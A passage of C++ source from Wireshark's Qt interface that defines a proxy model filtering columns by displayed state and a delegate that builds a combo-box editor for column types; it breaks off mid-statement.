#include <ui/qt/models/column_list_model.h>
#include <ui/qt/utils/qt_ui_utils.h>
#include <ui/qt/widgets/field_filter_edit.h>
#include <ui/qt/widgets/syntax_line_edit.h>
#include <ui/qt/utils/wireshark_mime_data.h>

#include <glib.h>
#include <epan/column.h>
#include <epan/prefs.h>
#include <epan/proto.h>
#include <ui/preference_utils.h>

#include <QLineEdit>
#include <QStringList>
#include <QComboBox>

struct ListElement
{
    QString title;
    QString customFields;
    int nr;
    int type;
    int originalType;
    int occurrence;
    bool displayed;
    bool resolved;
};

static QList<ListElement> store_;

ColumnProxyModel::ColumnProxyModel(QObject * parent) :
    QSortFilterProxyModel(parent),
    showDisplayedOnly_(false)
{}

bool ColumnProxyModel::filterAcceptsRow(int source_row, const QModelIndex &/*source_parent*/) const
{
    bool displayed = false;
    if (sourceModel() &&
         sourceModel()->index(source_row, ColumnListModel::COL_DISPLAYED).data(ColumnListModel::DisplayedState).toBool())
        displayed = true;

    if (showDisplayedOnly_ && ! displayed)
        return false;

    return true;
}

void ColumnProxyModel::setShowDisplayedOnly(bool set)
{
    showDisplayedOnly_ = set;
    invalidateFilter();
}

ColumnTypeDelegate::ColumnTypeDelegate(QObject * parent) :
    QStyledItemDelegate(parent)
{}

QWidget *ColumnTypeDelegate::createEditor(QWidget *parent,
                                       const QStyleOptionViewItem &option,
                                       const QModelIndex &index) const
{
    QWidget *editor = nullptr;

    if (index.column() == ColumnListModel::COL_TYPE)
    {
        QComboBox *cb_editor = new QComboBox(parent);

        for (int i = 0; i < NUM_COL_FMTS; i++)
        {
            cb_editor->addItem(col_format_desc(i), QVa...